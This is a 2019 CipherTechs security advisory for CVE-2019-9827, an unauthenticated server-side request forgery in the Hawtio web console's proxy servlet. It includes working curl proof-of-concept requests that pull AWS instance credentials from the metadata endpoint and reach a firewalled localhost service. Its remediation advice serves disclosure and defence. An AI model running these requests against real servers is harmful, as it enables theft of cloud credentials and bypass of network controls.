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Hawtio Security Advisory

CipherTechs discovered that Hawtio up to and including version 2.5.0 is vulnerable to unauthenticated Server-Side Request Forgery (SSRF).

CipherTechs Inc - Security Advisory
 
Hawtio Server-Side Request Forgery


Introduction
============
Hawtio (https://hawt.io/) is a modular web console for managing Java.

CipherTechs discovered that Hawtio up to and including version 2.5.0 is vulnerable to unauthenticated Server-Side Request Forgery (SSRF).


CVE
===
CVE-2019-9827


Affected Platforms and Versions
===============================
Product: Hawtio
Version: <= 2.5.0


Vulnerability Overview
======================
Security risk: Medium
Attack Vector: Remote
Vendor Status: Notified


Vulnerability Description
=========================
Hawtio by default allows for any unauthenticated user to visit the proxy servlet page (/hawtio/proxy/). 
Appending a destination server onto /proxy/ will forward the request from
the Hawtio server. This can be especially dangerous in AWS environments as
it's possible to request instance Metadata and retrieve sensitive information including access keys.
This vulnerability is also dangerous as it could expose internal 
applications which allow connections from the Hawtio server's IP address.


Technical Details
=================
By default, versions >= 1.5.0 have a whitelist which only allow connections to 127.0.0.1.
Although the default whitelist settings prevent an attacker from making a
request to any servers outside of the localhost - an attacker could still
request any internal service on the local Hawtio host.

For any Hawtio versions < 1.5.0 an unauthenticated can use the proxy servlet to make a request to any server.

Hawtio <= 1.4.68 - Obtaining AWS Access Keys via SSRF
-----------------------------------------------------
    $ curl -i http://hawtio-target:8080/hawtio/proxy/http://169.254.169.254/latest
        /meta-data/identity-credentials
        /ec2/security-credentials/ec2-instance
    HTTP/1.1 200 OK
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1
    Access-Control-Allow-Origin: *
    Content-Type: text/plain
    Accept-Ranges: bytes
    ETag: "3876041485"
    Last-Modified: Thu, 21 Mar 2019 19:36:06 GMT
    Content-Length: 1318
    Date: Thu, 21 Mar 2019 19:58:45 GMT
    Server: EC2ws

    {
      "Code" : "Success",
      "LastUpdated" : "2019-03-21T19:35:50Z",
      "Type" : "AWS-HMAC",
      "AccessKeyId" : "[REDACTED]",
      "SecretAccessKey" : "[REDACTED]",
      "Token" : "[REDACTED]",
      "Expiration" : "2019-03-22T01:38:33Z"

As shown above using the proxy servlet allows any user to obtain AWS metadata information.
Hawtio 2.5.0
------------

    $ curl -i http://hawtio-target:8080/hawtio/proxy/http://169.254.169.254/latest
        /meta-data/identity-credentials
        /ec2/security-credentials/ec2-instance
    HTTP/1.1 403 Forbidden
    Date: Thu, 21 Mar 2019 20:06:16 GMT
    Cache-Control: max-age=0, no-cache, must-revalidate, 
        proxy-revalidate, private
    Pragma: no-cache
    Access-Control-Allow-Origin: *
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1
    X-Content-Type-Options: nosniff
    Content-Security-Policy: default-src 'self'; script-src 'self'
        'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
        font-src 'self' data:; connect-src 'self'; frame-src 'self'
    Content-Type: application/json
    Content-Length: 29
    Server: Jetty(9.4.z-SNAPSHOT)

    {"reason":"HOST_NOT_ALLOWED"}

That said, an attacker could still access arbitrary internal services and bypass ingress traffic rules on Hawtio 2.5.0. 
A demonstration can be found below.

    hawtio$ sudo ufw status numbered
    Status: active

         To                         Action      From
         --                         ------      ----
    [ 1] 8080                       ALLOW IN    Anywhere
    [ 2] 127.0.0.1 80/tcp           ALLOW IN    127.0.0.1
    [ 3] 22/tcp                     ALLOW IN    Anywhere

        $ curl -i http://hawtio-target/test.txt
    curl: (7) Failed to connect to hawtio-target port 80: 
        Connection refused

        $ curl -i http://hawtio-target:8080/hawtio/proxy/http://127.0.0.1/test.txt
    HTTP/1.1 200 OK
    Date: Thu, 21 Mar 2019 20:18:34 GMT
    Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, private
    Pragma: no-cache
    Access-Control-Allow-Origin: *
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1
        X-Content-Type-Options: nosniff
        Content-Security-Policy: default-src 'self'; script-src 'self'
        'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
        font-src 'self' data:; connect-src 'self'; frame-src 'self'
    Server: SimpleHTTP/0.6 Python/2.7.13
    Date: Thu, 21 Mar 2019 20:18:34 GMT
    Content-Type: text/plain
    Last-Modified: Thu, 21 Mar 2019 20:07:34 GMT
    Content-Length: 11

    Secrets...

Recommendations
===============
Upgrade to at Hawtio >=-1.5.0 to prevent SSRF from accessing arbitrary URLs. Services listening on localhost can still
be accessed through SSRF exploitation in versions > 1.5.0 so CipherTechs recommends disabling the proxy servlet
entirely. CipherTechs did not exhaustively test Hawtio so it is still not recommended to expose this developer tool on 
the Internet. 

In terms of protecting AWS data, a daemon developed by Netflix-Skunkworks can be implemented to block 
all connections to AWS metadata (169.254.169.254). Only a designated user who runs the proxy daemon can access the 
metadata service. CipherTechs published a blog post to
implement this solution here:  https://www.ciphertechs.com/protecting-aws-metadata-from-zero-day-ssrf-attacks/

Timeline
========
2019.02.25 - Vulnerability Discovered by CipherTechs
2019.03.27 - Redhat Notified
2019.06.27 - 90 day disclosure date


The contents of this advisory are Copyright(c) 2019 CipherTechs Inc.

===================================================================================== 

About CipherTechs CipherTechs is a global Cyber Security service provider
founded in 2001 that remains privately held with headquarters in New York
City. CipherTechs is exclusively focused on cyber security and provide a
full service solution portfolio. We service our customers through the
following main practice areas: Offensive Security, Defensive Security,
MSSP and SOC, Audit and Compliance, Training and Product Procurement.